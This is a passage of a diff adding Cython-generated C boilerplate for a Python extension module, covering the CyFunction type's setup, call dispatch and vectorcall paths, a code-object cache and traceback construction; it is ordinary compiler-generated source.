READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject 